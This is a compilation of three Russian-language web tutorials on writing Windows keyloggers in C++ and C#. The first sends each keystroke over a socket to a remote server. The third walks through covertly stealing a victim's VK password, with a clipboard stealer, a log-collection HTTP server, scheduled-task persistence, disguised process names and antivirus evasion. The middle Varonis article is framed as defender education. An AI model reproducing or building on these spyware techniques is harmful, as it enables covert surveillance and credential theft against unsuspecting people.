Как написать свой кейлоггер

Пишем карманный кейлоггер на C++

В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда — https://simple-keylogger.github.io , пофиксил баги и доработал под взаимодействие с WinSocket.

Visual Studio 2015 Community Update 4
Visual C++ 2015

Структура приложения
Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.
Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.
Исходя из выбора, нам нужно будет сделать 2 приложения:
Сервер

Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли

Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер

И начнем мы, пожалуй, с сервера.

Сервер
Создаем консольное C++ приложение в Visual Studio.
Весь код есть в оф. примере MSDN — https://msdn.microsoft.com/en-us/library/ms737593(VS.85).aspx
Нам лишь нужно заменить некоторые значения в нем.
Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи

#define DEFAULT_BUFLEN 1024 //Буффер
#define DEFAULT_PORT «1337» //Порт

Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:

do <
ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог
if (iResult > 0) //Если лог не пустой
printf(«%s», recvbuf); //Выводим
closesocket(ClientSocket);//Закрываем соединение
memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память
>
while (true);

Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем

Клиент
Создаем приложение Win32 в Visual Studio.
Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp
Чтоб прикрутить отправку нажатия на сокет я обратился к https://msdn.microsoft.com/en-us/library/ms737591(VS.85).aspx
Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт

#define DEFAULT_BUFLEN 20000
#define SERVER_IP «127.0.0.1»
#define SERVER_PORT «1337»

Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:

WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct;
char lastwindow[256];
int Save(int key_stroke);// Убрал второй аргумент

Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:

void sendData(char *ip, char * port, char*data)

В методе Save делаем следующее — убираем второй аргумент и меняем запись логов в файл на отправку к серверу:

char data[DEFAULT_BUFLEN];
sprintf(data, «\n\n[Window: %s — at %s]\n», window_title, s); sendData(SERVER_IP, SERVER_PORT, data);

Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом:

char c[512];
sprintf(c, «%c», key_stroke);
sendData(SERVER_IP, SERVER_PORT, c);

Вырезаем все что связано с видимостью окна из кода, и, готово.

При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).

Сигнатурные сканы (не спрашивайте зачем просканил сервер, просто так):

Источник статьи: http://zen.yandex.ru/media/id/5ac38e349e29a28ec9e52696/pishem-karmannyi-keilogger-na-c-5aee032c1aa80cd30aa78b07

Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Источник статьи: http://habr.com/ru/company/varonis/blog/302458/

Как написать кейлоггер на C#

Хорошие кейлоггеры с большим функционалом и защитой от детекта антивирусов могут стоить многих денег. Но создание кейлоггера не такая уж сложная вещь, и при желании любой немного разбирающийся в программировании человек может самостоятельно написать свой собственный кейлоггер, который даже не будет палится антивирусами. В сегодняшней статье я покажу, как создать кейлоггер / клавиатурный шпион на C#.

Создание кейлоггера на C#

Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:

мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
мы сможем забирать логи, находясь в той же локальной сети;
антивирус должен молчать;
файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
мы не будем пытаться скрывать процесс и только дадим ему неприметное название.

Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.

Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.

Теория создания клавиатурного шпиона на C#

Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.

Написание кейлоггера на C#

Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.

Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.

Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.

Импортируем GetAsyncKeyState из user32.dll:

И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:

Расшифровывать такой лог будет неудобно

Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давайте не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:

После такого редактирования лог стал намного чище (см. рисунок).

Кейлоггер на C. Выглядит уже аккуратнее

Так уже намного лучше! Теперь нужно добавить обработку кнопок Shift и Caps Lock. Добавим в начале цикла следующий код:

Теперь у нас есть переменная, которая показывает, нужно ли нам оставить букву большой. Проверяем ее и складываем символы в буфер.

Следующая проблема — это сообщения вида , , и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, — это обычная человеческая запятая, а — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.

А вот вещи вроде побороть сложнее. У шифта, кстати, есть два разных варианта — правый и левый. Убираем все это, ведь состояние заглавных букв мы уже получили.

Погоняв логгер некоторое время, обнаруживаем и другие кнопки, которые нужно обрабатывать по-особому:

Num Lock;
функциональные клавиши;
Print Screen;
Page Up и Page Down;
Scroll Lock;
сочетание Shift + цифровая клавиша;
Tab;
Home и End;
Пуск;
Alt;
клавиши со стрелками.

Добавляем еще проверки и замены, и лог приобретает читабельный вид. В целом уже неплохо! Из недостатков: нет поддержки русской раскладки, что, впрочем, не так важно, если наша цель — получить пароли.

Смотрим, что скажет антивирус…

Реакция антивируса при принудительном сканировании Реакция при запуске (позже говорит, что все ок)

Загружаем образец на VirusTotal, чтобы проверить на остальных. Результат: только 8 из 70 антивирусов что-то подозревают.

Красивый вариант клавиатурного шпиона

Теперь попробуем сделать более правильно и будем перехватывать сообщения о нажатии клавиш на клавиатуре. Первые шаги те же: создаем проект Windows Forms и придумываем неприметное название (например, WindowsPrintService). В заглушке, которую нам создала Visual Studio, меняем void Main() на void Main(String[] args). Теперь сделаем простую проверку аргументов:

Дальше довольно много кода, не буду приводить его весь. Там есть флаги Caps Lock, Shift и прочее, а нажатия определяются гигантским Switch. Но показать я хочу не это, а установку хука на клавиатуру.

Устанавливаем хук на клавиатуру

Сначала мы помещаем ссылку на нашу функцию в переменную callback, потом получаем handle нашей программы, затем устанавливаем хук. А дальше вечно обрабатываем получаемые сообщения каждые 5 мс (PeekMessageA). Важный момент — объявление callback-функции, которая должна точно соответствовать WinAPI, а также передача управления нижележащим обработчикам (см. ниже).

А тут мы передаем управление дальше по цепочке хуков:

На этом скрине виден код нашей callback-функции с некоторыми сокращениями (не уместился разбор нажатия клавиш). Обратите внимание на упомянутый выше вызов CallNextHookEx, который нужен, чтобы не только мы получали сообщения о нажатиях клавиш.

Switch, который разбирает Shift + цифровая клавиша

На этом скриншоте видна обработка нажатий цифровых клавиш с зажатым шифтом, а на следующем — ситуация с Caps Lock и Shift.

Определяем регистр введенного символа

Клиппер для вытаскивания данных из буфера обмена

Клиппер — это программа, предназначенная для похищения данных из буфера обмена (название — от слова clipboard). Пригодиться это может, например, на случай, если жертва использует менеджер паролей и копирует пароли оттуда.

Создадим новую форму Windows, удалим файлы .Designer.cs и .resx. Теперь перейдем в режим редактирования, нажав F7, и приступим к написанию кода. Добавим using System.Runtime.InteropServices и импортируем WinAPI (на скриншоте — в отдельном классе).

Класс, импортирующий методы WinAPI

В конструктор формы вставляем следующий код:

Первый вызов сделает наше окно способным к восприятию системных сообщений, а второй назначит обработчик поступающих сообщений.

Теперь объявим переменную типа String и назовем ее lastWindow. Теперь мы переназначим стандартную функцию обработки сообщений (void WndProc(ref Message m)):

Для работы этого кода я взял уже готовый класс, который можно просто добавить в проект и не заморачиваться с созданием оберток вокруг WinAPI. Взять его можно на Pastebin.

Запустить клиппер несложно: добавляем ссылку на сборку System.Windows.Forms.dll, добавим using для System.Windows.Forms и System.Threading и добавим в метод запуска логгера следующие строки:

Просто? Вот именно. Только добавлять этот вызов нужно после назначения обработчика для Trace, иначе весь вывод улетит в неизвестные дали.

Сбор логов

Следующее, что нам нужно, — это забирать лог удаленно. Поскольку мы не собираемся заниматься промышленным шпионажем, то можно для начала ограничиться доступом из локальной сети. Для этого будет достаточно встроить в наш проект минималистичный сервер HTTP. Вот подходящий исходник, а вот доработанная мной версия.

Использование тоже весьма примитивное: достаточно создать объект нашего сервера, и он автоматически займет адреса localhost:34000 и :34000 под HTTP и на этих же адресах порт 34001. Сервер будет возвращать список файлов и папок в виде списка или содержимое файла, если запрошен файл.

В конструктор нужно передать путь к папке, в которую пишутся логи (или любой другой, которая может понадобиться). По умолчанию логи пишутся в текущую папку, значит, в конструктор передаем Environment.CurrentDirectory.

Автозапуск кейлоггера

Есть много способов попасть в автозагрузку: тут и папка «Автозагрузка», и куча мест в реестре, и установка своего драйвера, и создание службы… Однако реестр и драйверы отслеживаются любым приличным антивирусом, а создание службы слишком кривой вариант, который может сломаться в любой момент, хотя на крайний случай неплохо.

Мы же просто создадим задачу в планировщике заданий и попросим его запускать наш логгер с нужными параметрами при каждом входе юзера в систему. Для работы с планировщиком заданий берем пакет Microsoft.Win32.TaskScheduler из NuGet. Код для работы с ним я выложил на Pastebin. Не забудьте поправить путь, на который ссылается запись в планировщике.

Алгоритм действий логгера при запуске я показал на картинке.

Реакция антивирусов на кейлоггер

Проверка более красивого варианта на VirusTotal показывает, что его обнаруживает большее число антивирусов, чем раньше, — 15 из 70. Однако среди оставшихся — почти все популярные у нас домашние антивирусы.

В общем, главное — не нарваться на «Авиру» или NOD32.

Проверка заголовка окна

Если наша предполагаемая жертва сразу после входа в систему пошла логиниться в ВК, то, считайте, вам повезло. Но что, если вместо этого она села играть в контру? Пароль придется вытаскивать из тонн символов W, A, S, D и пробелов, а с «костыльным» вариантом это еще сложнее. Поэтому давайте прокачаем наш логгер: будем записывать сигналы клавиатуры только тогда, когда активно окно браузера с формой входа. Для этого вернемся к WinAPI, а конкретно к функции GetForegroundWindow.

В импорте видна еще одна функция, которая нам понадобится: GetWindowText. Она нужна, чтобы по хендлу окна получить его заголовок. Алгоритм действий тут тоже предельно понятен: сначала получаем заголовок активного окна, затем проверяем, нужно ли включать логгер, и включаем его (или выключаем). Реализация этой схемы:

Создадим функцию IsForegroundWindowsInteresting. Ее код будет таким:
В самом начале нашей функции CallbackFunction вставляем

Как вы заметили, я проверяю два варианта, так как не знаю, какой язык использует жертва. Если мы не нашли интересного окна, то просто переходим к следующему обработчику и не нагружаем компьютер лишними дисковыми операциями.

Поиск по логу

Теперь давайте предположим, что лог все равно вырос до угрожающих размеров и нам нужно вытащить из него, например, номер телефона, чтобы знать, с какого места искать пароль. Для этого лучше всего подойдут регулярные выражения, в C# они предоставлены классом Regex.

По понятным причинам логи мы будем анализировать на своей машине, так что сделаем отдельную программу. Чтобы использовать регулярки, добавим using System.Text.RegularExpressions и сделаем метод, который принимает на вход путь к файлу лога, а на консоль выводит все найденные телефонные номера.

Пароль будет идти следом за номером телефона.

Итого

Итак, мы убедились в том, что написать кейлоггер — не проблема. Более того, наш самописный клавиатурный шпион со всеми его ограничениями имеет важное преимущество: антивирусам заранее неизвестно о его существовании, а по функциям его определяют далеко не все из них. Конечно, дальше можно многое дорабатывать. Например, добавить возможность доступа через интернет, научить кейлоггер работать с разными клавиатурными раскладками, добавить снятие скриншотов и другие фишки. Моей же целью в этой статье было показать, насколько просто создать кейлоггер самостоятельно.

Источник статьи: http://spy-soft.net/keylogger-c/